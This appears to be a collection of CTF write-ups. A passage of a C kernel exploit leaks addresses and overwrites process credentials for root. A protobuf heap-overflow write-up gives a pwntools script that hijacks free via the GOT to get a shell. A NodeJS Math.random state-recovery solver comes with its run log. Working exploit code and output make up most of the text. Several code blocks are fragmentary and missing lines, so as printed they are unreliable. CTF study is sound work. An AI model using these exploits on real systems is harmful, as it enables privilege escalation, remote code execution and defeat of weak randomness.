    char *buf;

    sz = klogctl(10, NULL, 0);
	assert(sz != -1);

    buf = malloc(sz);
    assert(klogctl(3, buf, sz) != -1);

	unsigned long dist_addr = 0, edges_addr = 0;
    for (i = 0; i < sz && (!dist_addr || !edges_addr); i++) {
        if (!dist_addr && !strncmp(buf + i, "RAX: ", 5)) {
            if (sscanf(buf + i + 5, "%lx", &dist_addr) != 1)
				dist_addr = 0;
		if (!edges_addr && !strncmp(buf + i, "R09: ", 5)) {
            if (sscanf(buf + i + 5, "%lx", &edges_addr) != 1)
				edges_addr = 0;
	assert(dist_addr && edges_addr);


    *dist_addrp = dist_addr;
	*edges_addrp = edges_addr;

// resulting size should be in a rarely used cache
// this is supposed to be arbitrary but if you change it you'll mess up stage 3
#define S1_DIST_NUM_NODES 12

static void stage1(unsigned long *dist_addrp, unsigned long *node_addrp, int *node_fdp)
	fprintf(stderr, "[S1] Creating graph\n");
	int fds[S1_DIST_NUM_NODES];
	for (int i = 0; i < S1_DIST_NUM_NODES; i++)
		fds[i] = create();
	for (int i = 1; i < S1_DIST_NUM_NODES; i++)
		llink(fds[0], fds[i], 1);

	fprintf(stderr, "[S1] Freeing node\n");

	pid_t pid = fork();
	assert(pid != -1);

	if (pid == 0) {
		fprintf(stderr, "[S1] Reclaiming node\n");
		struct reclaim_ctx ctx;
		reclaim_alloc(&ctx, 1, 0, 0x4141000000000000UL, 0);

		fprintf(stderr, "[S1] Finalizing root\n");

		fprintf(stderr, "[S1] Performing crash query\n");
		query(fds[0], fds[1]);

		// Will never get here

	usleep(250 * 1000);

	fprintf(stderr, "[S1] Leaking from dmesg\n");
	unsigned long dist_addr, edges_addr;
	stage1_leak_dmesg(&dist_addr, &edges_addr);
	unsigned long node_addr = edges_addr - 0x60;
	fprintf(stderr, "[S1] Dist @ 0x%lx\n", dist_addr);
	fprintf(stderr, "[S1] Node @ 0x%lx\n", node_addr);

	*dist_addrp = dist_addr;
	*node_addrp = node_addr;
	*node_fdp = fds[0];

static void stage2_spray(int *fd, int before, int n, int skip, int after)
	for (int i = 0; i < before; i++)
	for (int i = 0; i < n; i++)
		fd[i] = create();
	for (int i = 0; i < n; i += skip) {
		fd[i] = -1;
	for (int i = 0; i < after; i++)

static void stage2(struct reclaim_ctx *victim_ctx, int *victim_fdp)
#define STAGE2_NUM_NODES 16 // dist array size == 0x80 == sizeof node
	fprintf(stderr, "[S2] Creating graph\n");
	int fds[STAGE2_NUM_NODES];
	for (int i = 0; i < STAGE2_NUM_NODES; i++)
		fds[i] = create();
	for (int i = 1; i < STAGE2_NUM_NODES; i++)
		llink(fds[0], fds[i], 1); // 1 will be written at traversal_idx

	fprintf(stderr, "[S2] Freeing node\n");

	fprintf(stderr, "[S2] Reclaiming node\n");
	reclaim_alloc(victim_ctx, 1, 0, (0x80 + 0x8) / 8, 0); // target: sprayed refcount

	fprintf(stderr, "[S2] Finalizing root\n");

	fprintf(stderr, "[S2] Creating predecessor\n");
	int spray_incref_fd = create();

#define STAGE2_SPRAY_NUM 200
	fprintf(stderr, "[S2] Spraying nodes\n");
	int spray_fd[STAGE2_SPRAY_NUM];
	stage2_spray(spray_fd, 30, STAGE2_SPRAY_NUM, 4, 30);

	fprintf(stderr, "[S2] Incrementing sprayed refcounts\n");
	for (int i = 0; i < STAGE2_SPRAY_NUM; i++) {
		if (spray_fd[i] != -1)
			llink(spray_incref_fd, spray_fd[i], 0);

	fprintf(stderr, "[S2] Corrupting refcount\n");
	query(fds[0], fds[1]);

	fprintf(stderr, "[S2] Freeing victim node\n");

	fprintf(stderr, "[S2] Reclaiming victim node\n");
	reclaim_free(victim_ctx); // unblock fault
	// ephemeral alloc to put two 0xff at the end for traversal top bytes
	unsigned char buf[0x80];
	buf[sizeof(buf)-1] = 0xff;
	buf[sizeof(buf)-2] = 0xff;
	assert(setxattr(".", "nonexistent", buf, sizeof(buf), XATTR_REPLACE) == -1);
	reclaim_alloc(victim_ctx, 0, 1337, 0, 0);

	fprintf(stderr, "[S2] Searching for victim node\n");
	int victim_fd = -1;
	for (int i = 0; i < STAGE2_SPRAY_NUM; i++) {
		if (spray_fd[i] != -1) {
			struct spark_info info = {
				.num_children = 0,
			get_info(spray_fd[i], &info);
			if (info.num_children == 1337) {
				victim_fd = spray_fd[i];
	assert(victim_fd != -1);

	fprintf(stderr, "[S2] Victim fd = %d\n", victim_fd);
	*victim_fdp = victim_fd;

#define STAGE3_READ_NUM_CHILDREN 0x4142133703030303

static unsigned long stage3_read(struct reclaim_ctx *ctx, int fd, unsigned long addr)
	// during read, we keep a special num_children so we can find ourselves
	reclaim_alloc(ctx, 1, STAGE3_READ_NUM_CHILDREN, 0, addr);

	struct spark_info info;
	get_info(fd, &info);
	return info.traversal_size;

static void stage3(struct reclaim_ctx *ctx, int fd, int *scratch_fds, unsigned long s1_dist_addr,
                   unsigned long s1_node_addr)
	char buf[0x80];

	fprintf(stderr, "[S3] Finding victim node\n");
	unsigned long victim_addr = 0;
	for (int i = 6000; i < 10000; i++)  {
		unsigned long addr = s1_node_addr + i*0x80;
		unsigned long value = stage3_read(ctx, fd, addr + 0x58);
		if (value == STAGE3_READ_NUM_CHILDREN) {
			victim_addr = addr;
	fprintf(stderr, "[S3] Victim @ 0x%lx\n", victim_addr);

	fprintf(stderr, "[S3] Findings creds\n");
	unsigned long current = stage3_read(ctx, fd, victim_addr + 0x10); // state_lock.owner
	fprintf(stderr, "[S3] current = 0x%lx\n", current);
	unsigned long cred_addr = stage3_read(ctx, fd, current + 0xa90);
	fprintf(stderr, "[S3] cred @ 0x%lx\n", cred_addr);

	fprintf(stderr, "[S3] Crafting linkable node\n");
	memset(buf, 0, sizeof(buf));
	*(unsigned long *)(buf + 0x0) = 100000; // id
	*(unsigned int *)(buf + 0x8) = 1; // refcount
	*(unsigned int *)(buf + 0x30) = 0; // is_finalized
	*(unsigned long *)(buf + 0x60) = victim_addr + 0x60; // (empty list)
	*(unsigned long *)(buf + 0x68) = victim_addr + 0x68; // edges.prev (empty list)
	reclaim_alloc_raw(ctx, buf);

	fprintf(stderr, "[S3] Building graph\n");
	int graph_fds[S1_DIST_NUM_NODES];
	for (int i = 0; i < S1_DIST_NUM_NODES-1; i++)
		graph_fds[i] = scratch_fds[i]; // avoid allocations, they mess stuff up
	for (int i = 1; i < S1_DIST_NUM_NODES-1; i++)
		llink(graph_fds[0], graph_fds[i], 0);
	llink(graph_fds[0], fd, 0);  // weight = write primitive value (zero for root creds)

	fprintf(stderr, "[S3] Freeing stage1 dist array\n");
	memset(buf, 0, sizeof(buf));
	*(unsigned int *)(buf + 0x8) = 1; // refcount
	*(unsigned int *)(buf + 0x30) = 1; // is_finalized
	// fake node_array overlaps unused nb_lock
	*(unsigned long *)(buf + 0x38 + 0x0) = 0; // fake node_array.size
	*(unsigned long *)(buf + 0x38 + 0x10) = s1_dist_addr; // fake node_array.nodes (will be freed)
	*(unsigned long *)(buf + 0x60) = victim_addr + 0x60; // (empty list)
	*(unsigned long *)(buf + 0x78) = victim_addr + 0x38; // traversal = fake node_array
	reclaim_alloc_raw(ctx, buf);
	release(fd); // free s1_dist_addr
	fd = create(); // immediately reclaim victim node to restore stable state

	fprintf(stderr, "[S3] Overwriting cred\n");
	unsigned long write_addr = cred_addr + 8*3;
	unsigned long idx = (write_addr - s1_dist_addr) / 8;
	reclaim_alloc(ctx, 1, 0, idx, 0);
	query(graph_fds[0], graph_fds[1]);

static void print_flag()
	int fd = open("/flag", O_RDONLY);
	assert(fd != -1);

	char buf[100];
	memset(buf, 0, sizeof(buf));
	assert(read(fd, buf, sizeof(buf)-1) != -1);

	fprintf(stderr, "!!! FLAG: %s\n", buf);

int main(void)
	int scratch_fds[12];
	for (int i = 0; i < 12;  i++)
		scratch_fds[i] = create();

	// Leak a distance array (still malloc'ed) and the address of a live node
	unsigned long s1_dist_addr, s1_node_addr;
	int s1_node_fd;
	stage1(&s1_dist_addr, &s1_node_addr, &s1_node_fd);

	// Get a fd that can be freed and reclaimed repeatedly
	struct reclaim_ctx victim_ctx;
	int victim_fd;
	stage2(&victim_ctx, &victim_fd);

	// Get somewhat rootish privileges
	stage3(&victim_ctx, victim_fd, scratch_fds, s1_dist_addr, s1_node_addr);



Look up in the sky ⇑

nc 8573

Note: The service is running on Ubuntu 20.04

Challenge Releas Content

file comment
telescope.proto This is the description of the protocol of protobuf
telescope the binary to exploit protobuf remote library libc remote library

The Binary

The binary is simple to understand is the classic few option CTF binary. It is possible to create read and modify heap chunks with an extra interesting option that is to interpret the bytes ad protobuf protocol. Chunks are saved on an array of 1024 elements in .bss called slots, and the corresponding size is saved on another array in .bss called slot_sizes. In particulare, there are 6 options:

[1] Create chunk

It asks you for the number of slots and the size. It makes a malloc of the given size, memset the chunk to zero, and store a pointer to the new chunk into slots[<index>] where <index> is also a parameter chosen by the user. It also set slots_sizes[<index>] to the corrisponding size.

[2] Read data into a chunk

It asks for a slots index and then lets you write inside the chunk. The amount of bytes that you can write is the number of the size saved into slots_sizes. Bytes are read singularly. There is no possibility of short-read (read fewer bytes than the size).

[3] Free chunk

It asks for a slot index. It calls free on the pointer stored at slots[<index>] . It stores 0 into slots[<index>] and slots_size[<index>]

[4] Protobuf unserialize and reserialize

This is the most complicated option, and the only one that took a few hours to be completely understood. It asks for a slot index. It parses the content with the protobuf parser generating the Telescope object. It checks that the field pass of the Telescope object is equal to 0xDEADBEEF. If the pass field is not correctly set, you get an abort.

If you manage to pass this check, the program removes the field pass. It prints out the number of lens (the other field of Telescope). It serializes the new object to a string. It uses a memcpy to copy the new string (byte representation of the object) into the slot.

[5] Prints the chunk

It asks for an index. It prints out slots_sizes[<index>] bytes of slots[<index>].

[-] Exit

Any other option exit the program.


Protobuf is a nice library that lets you define structured data that can be serialized and read back. It is nice because it supports many languages and automatically generates code to handle these data.

syntax = "proto2";

message Telescope {
    repeated int64 lens = 1;
    optional int64 pass = 2;

There are 2 fields in this object. pass is optional and need to be set to 0xDEADBEEF because the code checks its value. lens is an array of integers. It can be empty or any size.

It is vital to understand how the encoding of protobuf works. You can find details of the encoding on protobuf documentation. The documentation is written very well and explains how the encoding is working way better than I will ever be able to do. If you want to understand the vulnerability, you need to read the documentation and understand the serialization types.

Here I give you an example of a Telescope object is encoded:


Protobuf encode the field and is type in one byte followed by the value (field_number << 3) | wire_type. If you want to encode field numeber 1 with type 0 you get 1 << 3 | 0 = 0x08. In particular, the byte \x08 represent the field lens while \x10 is the field pass. In this paricular string we have 2 elements for lens: \x08\x17 and \x08\x20. \x10\x11 is instead the encoding of pass. Hence, when deserialized we will have obj.lens = [0x17, 0x20] and obj.pass = 0x11.

Testing Protobuf

I spent hours playing with protobuf serialization. It was evident to me (after a while playing CTF you develop an intuition on where the author wants you to look.) that the vulnerability was in encoding/decoding protobuf. I tried several things. I do not recall them all. I had a python and a c++ program that I can use as a decoder/encoder debug.

Few intresting discovery that I recall. The order of elements does not matter. You can have few lens the a pass and other lens: \x08\x17\x10\x11\x08\x20 is valid and still decode to obj.lens = [0x17, 0x20] and obj.pass = 0x11

You can have multiple instances for pass: \x08\x17\x10\x11\x08\x20\x10\x11 is valid and still decode to obj.lens = [0x17, 0x20] and obj.pass = 0x11.

The Vulnerability

I discovered that there are at least 2 ways to encode repeated fields. The preferred way to encode a repeated field in protobuf is to have multiple instances of a field. In fact, if you serialize obj.lens = [0x17, 0x20] you get \x08\x17\x08\x20. Another “valid” way to encode a repeated field is to use Lenght'delimited type. In this case \x0a\x02\x17\x20 is still decoded as obj.lens = [0x17, 0x20]. In particular, \x0a is field number 1 with type 2 (1 << 3 | 2 = 0x0a). 0x0a is followed by the size of the content (2 bytes in this case). Then there is the encoding of multiple numbers. (N.B. the numbers are always encoded as Variant, you can have any number not only single bytes).

If you deserialize and the serialize back \x0a\x02\x17\x20 you get the string \x08\x17\x08\x20. Both are 4 bytes, so this particular instance is not a problem.

However, if you deserialize and serialize \x0a\x02\x17\x20\x17, you get back \x08\x17\x08\x20\x08\x17. The first string is 5 bytes; the second is 6 bytes. For every single byte that we add in the first string, we get 2 bytes in the second. This allows us to overflow a chunk.

The Exploit

This is an excellent candidate to do an unsafe_unlink.

Our exploit aims to exploit an unsafe_unlink to overwrite one of the pointers in slots to point to slots. This will allow us to arbitrarily change the pointer of a slot and have arbitrary read and arbitrary write primitives. With those primitives, we can read .got to leak libc and change the function free with function system. Please note that the binary is not PIE and is not Full RELRO.

This step aims to overwrite one of the pointers in slots with an address of slots. This is possible by exploiting the unlink function of libc. When eliminating a chunk from the free list, the unlink algorithm of libc will overwrite the previous chunk’s forward ptr. We can exploit this write by faking that the previous chunk is on .bss. There are several checks in the libc that you need to meet to have unlink successfully. You can play with how2heap to understand those constraints.

In practice, we create a fake chunk header 0x10 bytes below one valid chunk. (You can do this because 0x10 bytes below the header begins the data part of the chunk). We do an overflow from one chunk to another, changing the PREV_IN_USE bit from 1 to 0. We set the prev_size to be 0x10 byte less than the real one. When we free the second chunk, a consolidate is triggered, trying to merge multiple chunks, so our chunk is unlinked, causing the overwrite.

Aligning the Stars Chunks

To trigger the consolidate, we need our chunk to be contiguous to the top_chunk. The size of the chunk that we choose to make this attack is 0x458. Reason to choose this size:

The prev_size fields are placed as the last 8 bytes of the chunks. malloc(0x458) will create a chunk of 0x460 bytes.

In our exploit, we allocate 20 chunks of sizer 0x458. This will remove all the free chunks of that size.

We allocate some extra_sizes (0x410, 0x470, 0x13b0, 0x2010). Those are chunk size that will be used by protobuf deserialize and serialize functions. The idea is to preallocate those chunks to avoid them from being between our attacked chunk and the top_chunk. If you wonder, we got the size with gdb by looking at which chunks were between our attacked chunk and the top_chunk.

We allocate 3 chunks of size 0x460:

  1. The first chunk (chunk_c) is there as a used chunk. We need to consolidate only 2 chunks, so we use the first chunk as a barrier.
  2. The second chunk (chunk_a) is the chunk that we are using as a fake chunk and the chunk to do the overflow.
  3. The third (chunk_b) chunk is the chunk that will be overflown by over byte.

After the allocation, we deallocate the extra_sizes chunk. Now they are available for the protobuf algorithm, and they will not interfere with our attack.

Arbitrary Read/Write

With unsafe unlink, you can overwrite one of the pointers in slots and have that pointer pointing to slots as well. This will allow you to control any pointer with data that you want.

To build a decent primitive arbitrary read-write. We made slots[20] pointing to slots[21]. And both were chunks allocated with size 8. By writing in slots[20] we set the address of our primitive. by reading-writing slots[21], we exploit the read-write.

With this primitive, we can, by reading the value of puts in .got, get a leak of libc. We can compute the position of the system, and we can substitute free in .got with the system. At this point, we just need to free a chunk which content is /bin/sh\x00 to get a shell.

The script

from pwn import *

r = remote("", 8573)

def alloca_slot(slot, size):
    assert(slot <= 0x400)
    assert((size & 0x80000000) == 0)
    r.sendline("%d" % slot)
    r.sendline("%d" % size)

def write_slot(slot, data):
    assert(slot <= 0x400)
    r.sendline("%d" % slot)

def free_slot(slot):
    assert(slot <= 0x400)
    r.sendline("%d" % slot)

def parse_slot(slot):
    assert(slot <= 0x400)
    r.sendline("%d" % slot)

def print_slot(slot):
    assert(slot <= 0x400)
    r.sendline("%d" % slot)
    return r.recvuntil("op>\n")[:-4]

# lens = b"\x41" * 40
# data = b"\x10\xef\xfd\xb6\xf5\x0d" + b"\x0a"+bytes([len(lens),]) +  lens
# print(data)

overflow = b"\x0a\x0b\x41\x41\x41\x41\x41\x41\x41\x41\x41\x60"
pass_data = b"\x10\xef\xfd\xb6\xf5\x0d"
filling = b"\x08" * 1090 + b"\x0a\x02\x80\x08"

data = pass_data + filling + overflow

chunk_size = 0x458

assert(len(data) == chunk_size)

for i in range(0, 20):
    alloca_slot(i, chunk_size)

extra_sizes = [0x410, 0x470, 0x13b0, 0x2010]
extra_space = i
for i in range(extra_space, extra_space+len(extra_sizes)):
    print("allocat_empy %d" % i )
    alloca_slot(i, extra_sizes[i - extra_space] - 0x10)

data = data.ljust(chunk_size, b"\x00")
chunk_a = i + 1
chunk_b = i + 2
chunk_c = i + 3
print("a: %d, b: %d" % (chunk_a, chunk_b))
alloca_slot(chunk_c, chunk_size)
alloca_slot(chunk_a, chunk_size)
alloca_slot(chunk_b, chunk_size)

for i in range(extra_space, extra_space+len(extra_sizes)):
    print("free %d" % i )

write_slot(chunk_a, data)
s = print_slot(chunk_a)
s2 = print_slot(chunk_a)

slots_base = 0x409280

addre_23 = slots_base + 23*8 # chunk_a

new_chunk_a = p64(0x0) + p64(0x451) + p64(addre_23 - 0x18) + p64(addre_23 - 0x10) + p64(0) + p64(0) + b"c"*8 + b"d"*8 + b"e"*8
new_chunk_a = new_chunk_a.ljust(0x450, b"B") + p64(0x450)
# input("wait for write")
write_slot(chunk_a, new_chunk_a)
# input("wait for free")

slots_data = print_slot(chunk_a)
puts_got = 0x4091A8

alloca_slot(20, 8)
alloca_slot(21, 8)
# input("check chunka")
payload =  p64(0x409328) + p64(puts_got)
payload = payload.ljust(chunk_size, b"\x00")
write_slot(chunk_a, payload)

context.log_level = "DEBUG"
puts_leak = u64(print_slot(21))
libc_base = puts_leak - 0x875a0
system_libc = libc_base + 0x55410
free_got = 0x409128
print("[!] puts_atlibc: %x" % puts_leak)
print("[!] libc_base: %x" % libc_base)
print("[!] libc_system: %x" % system_libc)

write_slot(20, p64(free_got))
write_slot(21, p64(system_libc))
write_slot(1, b"/bin/sh".ljust(chunk_size, b"\x00"))


100 pins

4 digits pin are too weak… How about 100 of them? nc 1234

The bug(s)

The challenge is made with NodeJS (15.3.0) and the main point was Math.random(). This PRNG is not cryptographically secure, as we can recorver the initial states of the XorShift128+ with enough consecutive outputs and some symbolic execution.

We notice that the “Mastermind” behind this challenge allows us to gather more information than usual, because there is no check on the length of the input. In fact we can recover the (unique) digits of the pin choosing the pattern: '1'*2^0 + '2'*2^1 + '3'*2^2 + '4'*2^3 + ... + '9'*2^8.

This gives us a result that tells us exactly the digits of the pin. We can get this by adding the number of digits in the correct position and the remaining number of correct digits that are not in the correct position. This number, in binary, gives us the corresponding digit in the pattern.

After getting the digits we find the correct permutation with a “guess and prune” algorithm, discarding any rearrangement that is incompatible with the results of the previous guesses.

In the end our algorithm is capable of finding a correct pin with an average of 4-5 attempts, and with a bit of luck we are able to retrieve the 11 pins needed to ensure that z3 outputs a unique solution in less than 39 attempts.

Once we have the initial state of the PRNG, we face another problem: the actual values being generated are stored in a “pool” of 64 numbers, that is refreshed with 64 new ones every time it is empty. The numbers within the pool are then outputted in reverse order (as explained in this presentation and video). This means that, if the order of the random generation is 1…64||65…128, we get 64…54 and we need to predict 53…1||128…93. Once we get the seed, the “next” number generated will be the 54th. This means that we need to reverse the XorShift128+ algorithm to retrieve the values 53…1! Fortunately, this isn’t a problem at all.

#!/usr/bin/env python3
import os
from pwn import remote, process
import hashlib
from itertools import permutations
import struct
from decimal import *
from random import shuffle
from z3 import *

#Credits to Douglas Goddard and d0nutptr

def reverse17(val):
    top34 = (val ^ (val >> 17)) & 0xFFFFFFFFC0000000
    top51 = (val ^ (top34 >> 17)) & 0xFFFFFFFFFFFFE000
    original = (val ^ (top51 >> 17))
    return original

def reverse23(val):
    bot46 = (val ^ (val << 23)) & 0x3fffffffffff
    original = (val ^ (bot46 <<  23)) & 0xFFFFFFFFFFFFFFFF
    return original

def reverse_xs128p(state0, state1):
    prev_state1 = state0 & 0xFFFFFFFFFFFFFFFF
    prev_state0 = state1 ^ (state0 >> 26) & 0xFFFFFFFFFFFFFFFF
    prev_state0 = prev_state0 ^ state0 & 0xFFFFFFFFFFFFFFFF
    prev_state0 = reverse17(prev_state0) & 0xFFFFFFFFFFFFFFFF
    prev_state0 = reverse23(prev_state0) & 0xFFFFFFFFFFFFFFFF
    generated = prev_state0 & 0xFFFFFFFFFFFFFFFF
    return prev_state0, prev_state1, generated

# Calculates xs128p (XorShift128Plus)
def xs128p(state0, state1):
    s1 = state0 & 0xFFFFFFFFFFFFFFFF
    s0 = state1 & 0xFFFFFFFFFFFFFFFF
    s1 ^= (s1 << 23) & 0xFFFFFFFFFFFFFFFF
    s1 ^= (s1 >> 17) & 0xFFFFFFFFFFFFFFFF
    s1 ^= s0 & 0xFFFFFFFFFFFFFFFF
    s1 ^= (s0 >> 26) & 0xFFFFFFFFFFFFFFFF
    state0 = state1 & 0xFFFFFFFFFFFFFFFF
    state1 = s1 & 0xFFFFFFFFFFFFFFFF
    generated = state0 & 0xFFFFFFFFFFFFFFFF

    return state0, state1, generated

def sym_xs128p(sym_state0, sym_state1):
    # Symbolically represent xs128p
    s1 = sym_state0
    s0 = sym_state1
    s1 ^= (s1 << 23)
    s1 ^= LShR(s1, 17)
    s1 ^= s0
    s1 ^= LShR(s0, 26)
    sym_state0 = sym_state1
    sym_state1 = s1
    # end symbolic execution

    return sym_state0, sym_state1

# Symbolic execution of xs128p
def sym_floor_random(slvr, sym_state0, sym_state1, generated, multiple):
    sym_state0, sym_state1 = sym_xs128p(sym_state0, sym_state1)

    # "::ToDouble"
    calc = LShR(sym_state0, 12)

    lower = from_double(Decimal(generated) / Decimal(multiple))
    upper = from_double((Decimal(generated) + 1) / Decimal(multiple))

    lower_mantissa = (lower & 0x000FFFFFFFFFFFFF)
    upper_mantissa = (upper & 0x000FFFFFFFFFFFFF)
    upper_expr = (upper >> 52) & 0x7FF

    slvr.add(And(lower_mantissa <= calc, Or(upper_mantissa >= calc, upper_expr == 1024)))
    return sym_state0, sym_state1

def solve_instance(points, multiple, unknown_leading=False):
    # setup symbolic state for xorshift128+
    ostate0, ostate1 = BitVecs('ostate0 ostate1', 64)
    sym_state0 = ostate0
    sym_state1 = ostate1
    set_option("parallel.enable", True)
    set_option("parallel.threads.max", (
        max(os.cpu_count() - MAX_UNUSED_THREADS, 1)))  # will use max or max cpu thread support, whatever is smaller
    slvr = SolverFor(
        "QF_BV")  # This type of problem is much faster computed using QF_BV (also, if branching happens, we can use parallelization)

    # run symbolic xorshift128+ algorithm for three iterations
    # using the recovered numbers as constraints

    if unknown_leading:
        # we want to try to predict one value ahead so let's slide one unknown into the calculation
        sym_state0, sym_state1 = sym_xs128p(sym_state0, sym_state1)

    for point in points:
        sym_state0, sym_state1 = sym_floor_random(slvr, sym_state0, sym_state1, point, multiple)

    if slvr.check() == sat:
        # get a solved state
        m = slvr.model()
        state0 = m[ostate0].as_long()
        state1 = m[ostate1].as_long()

        return state0, state1
        print("Failed to find a valid solution")
        return None, None

def solve_random(points, multiple, lead):
    if lead > 0:
        last_state0 = None
        last_state1 = None

        for i in range(0, int(lead)):
            last_state0, last_state1 = solve_instance(points, multiple, True)

            state0, state1, output = xs128p(last_state0, last_state1)
            new_point = math.floor(multiple * to_double(output))
            points = [new_point] + points

        return last_state0, last_state1
        return solve_instance(points, multiple)

def to_double(value):
    double_bits = (value >> 12) | 0x3FF0000000000000
    return struct.unpack('d', struct.pack('<Q', double_bits))[0] - 1

def from_double(dbl):
    return struct.unpack('<Q', struct.pack('d', dbl + 1))[0] & 0x7FFFFFFFFFFFFFFF

def proof_of_work(prefix):
    c = 0
    while True:
        guess = str(c)
        calculated = hashlib.sha256((prefix+guess).encode()).hexdigest()
        if calculated.endswith('00000'):
            print('found', guess, calculated)
            return guess.encode()
        c += 1
        if not c%10**6: print(c)

alphabet = '1234567890'
origin = list(filter(lambda k: len(set(k)) == 4 and len(k) == 4, [("0000" + str(i))[-4:] for i in range(10000)]))
special = ''.join([str(i) * (pow(2, (i-1))) for i in range(1,10)])

class Solver:
    def __init__(self):
        self.found = []
        self.possibilities = []
        self.foundPermutations = False

    def getOne(self):
        if self.foundPermutations:
            return self.possibilities.pop()
            return special

    def parseResult(self, x, a, b):
        if self.foundPermutations and a + b == 4:
            if a == 0:
                self.possibilities = [i for i in self.possibilities if not any([i[k] == x[k] for k in range(4)])]
                self.possibilities = [i for i in self.possibilities if sum([i[k] == x[k] for k in range(4)]) == a]
        elif a + b > 4:
            h = (bin(a + b)[2:])[::-1]
            h += '0000000000'
            p = ''
            for i in range(1,10):
                if h[i-1] == '1':
                    p += str(i)
            if len(p) == 3:
                p += '0'
            self.possibilities = list([''.join(list(l)) for l in permutations(p, 4)])
            self.foundPermutations = True

    def pinFound(self, x):
        self.possibilities = []
        self.foundPermutations = False

def guess_random(proc):
    pin = ''
    i = 0
    tries = 0
    guesser = Solver()
    while tries <= 40 and i < 11:
        pin = guesser.getOne()
        res = proc.recvline()
        # print(res)
        tries += 1
        if b'U' in res:
        elif b'O' in res:
            i += 1
            print(pin, ";", i, "after", tries, "tries")
            [a, b] = (res.split()[-1]).split(b'A')
            a = int(a)
            b = int(b[:-5])
            guesser.parseResult(pin, a, b)
    # print("tries:", tries)
    # print(guesser.found)
    return [origin.index(x) for x in guesser.found]

def derivePins(points, multiple = 5040, lead = 0):
    solutions = []
    state0, state1 = solve_random(points[::-1], multiple, lead)

    print('[+] recovered state:', state0, state1)
    saved_state0, saved_state1 = state0, state1

    partial = []
    for _ in range(11):
        state0, state1, output = xs128p(state0, state1)
        partial.append(math.floor(multiple * to_double(state0)))
    solutions += partial[::-1]

    state0, state1 = saved_state0, saved_state1
    solutions.append(math.floor(multiple * to_double(state0)))
    for _ in range(64):
        state0, state1, output = reverse_xs128p(state0, state1)
        solutions.append(math.floor(multiple * to_double(output)))
    solutions = solutions[:64]
    state0, state1 = saved_state0, saved_state1

    partial = []
    for _ in range(10):
        state0, state1, output = xs128p(state0, state1)
    for i in range(65):
        state0, state1, output = xs128p(state0, state1)
        out = math.floor(multiple * to_double(output))
    solutions += partial[::-1]
    solutions = solutions[:100]
    return [origin[idx] for idx in solutions]

def solve(proc):
    proc.recvuntil(b'Show me sha256("')
    prefix = proc.recvuntil(b'"')[:-1].decode()
    proc.recvuntil(b'ends with "00000": ')
    guess = proof_of_work(prefix)
    # start the guessing of pins
    randoms = guess_random(proc)
    # if we don't have enough pins we retry
    if len(randoms) != 11:
        print("We have ", len(randoms))
        raise Exception('yeet')
    # now we recover the states and next pins
    pins = derivePins(randoms)[len(randoms):]

    r = ''
    # we input all the pins
    for i in pins:
    # we get the flag
    return False

def main():
    x = True
    while x:
            host, port = '', 1234
            with remote(host, port) as proc:
                x = solve(proc)
        except Exception as e:



With a lot of luck

[+] Opening connection to on port 1234: Done
found 332260 2030edc98d041ec0159f1e75a0cecacca4028f83572e34fb0f35761919a00000
2981 ; 1 after 4 tries
7109 ; 2 after 6 tries
9250 ; 3 after 11 tries
0256 ; 4 after 16 tries
9580 ; 5 after 19 tries
7129 ; 6 after 23 tries
8697 ; 7 after 26 tries
8037 ; 8 after 28 tries
4286 ; 9 after 32 tries
3416 ; 10 after 35 tries
3798 ; 11 after 39 tries
[1506, 3590, 4676, 80, 4865, 3597, 4423, 4051, 2174, 1690, 1903]
[+] recovered state: 5977170398082918709 6965505899860868137
b'Pin 12? \x1b[1;32mOK\x1b[0m\n'
b'Pin 13? \x1b[1;32mOK\x1b[0m\n'
b'Pin 14? \x1b[1;32mOK\x1b[0m\n'
b'Pin 15? \x1b[1;32mOK\x1b[0m\n'
b'Pin 16? \x1b[1;32mOK\x1b[0m\n'
b'Pin 17? \x1b[1;32mOK\x1b[0m\n'
b'Pin 18? \x1b[1;32mOK\x1b[0m\n'
b'Pin 19? \x1b[1;32mOK\x1b[0m\n'
b'Pin 20? \x1b[1;32mOK\x1b[0m\n'
b'Pin 21? \x1b[1;32mOK\x1b[0m\n'
b'Pin 22? \x1b[1;32mOK\x1b[0m\n'
b'Pin 23? \x1b[1;32mOK\x1b[0m\n'
b'Pin 24? \x1b[1;32mOK\x1b[0m\n'
b'Pin 25? \x1b[1;32mOK\x1b[0m\n'
b'Pin 26? \x1b[1;32mOK\x1b[0m\n'
b'Pin 27? \x1b[1;32mOK\x1b[0m\n'
b'Pin 28? \x1b[1;32mOK\x1b[0m\n'
b'Pin 29? \x1b[1;32mOK\x1b[0m\n'
b'Pin 30? \x1b[1;32mOK\x1b[0m\n'
b'Pin 31? \x1b[1;32mOK\x1b[0m\n'
b'Pin 32? \x1b[1;32mOK\x1b[0m\n'
b'Pin 33? \x1b[1;32mOK\x1b[0m\n'
b'Pin 34? \x1b[1;32mOK\x1b[0m\n'
b'Pin 35? \x1b[1;32mOK\x1b[0m\n'
b'Pin 36? \x1b[1;32mOK\x1b[0m\n'
b'Pin 37? \x1b[1;32mOK\x1b[0m\n'
b'Pin 38? \x1b[1;32mOK\x1b[0m\n'
b'Pin 39? \x1b[1;32mOK\x1b[0m\n'
b'Pin 40? \x1b[1;32mOK\x1b[0m\n'
b'Pin 41? \x1b[1;32mOK\x1b[0m\n'
b'Pin 42? \x1b[1;32mOK\x1b[0m\n'
b'Pin 43? \x1b[1;32mOK\x1b[0m\n'
b'Pin 44? \x1b[1;32mOK\x1b[0m\n'
b'Pin 45? \x1b[1;32mOK\x1b[0m\n'
b'Pin 46? \x1b[1;32mOK\x1b[0m\n'
b'Pin 47? \x1b[1;32mOK\x1b[0m\n'
b'Pin 48? \x1b[1;32mOK\x1b[0m\n'
b'Pin 49? \x1b[1;32mOK\x1b[0m\n'
b'Pin 50? \x1b[1;32mOK\x1b[0m\n'
b'Pin 51? \x1b[1;32mOK\x1b[0m\n'
b'Pin 52? \x1b[1;32mOK\x1b[0m\n'
b'Pin 53? \x1b[1;32mOK\x1b[0m\n'
b'Pin 54? \x1b[1;32mOK\x1b[0m\n'
b'Pin 55? \x1b[1;32mOK\x1b[0m\n'
b'Pin 56? \x1b[1;32mOK\x1b[0m\n'
b'Pin 57? \x1b[1;32mOK\x1b[0m\n'
b'Pin 58? \x1b[1;32mOK\x1b[0m\n'
b'Pin 59? \x1b[1;32mOK\x1b[0m\n'
b'Pin 60? \x1b[1;32mOK\x1b[0m\n'
b'Pin 61? \x1b[1;32mOK\x1b[0m\n'
b'Pin 62? \x1b[1;32mOK\x1b[0m\n'
b'Pin 63? \x1b[1;32mOK\x1b[0m\n'
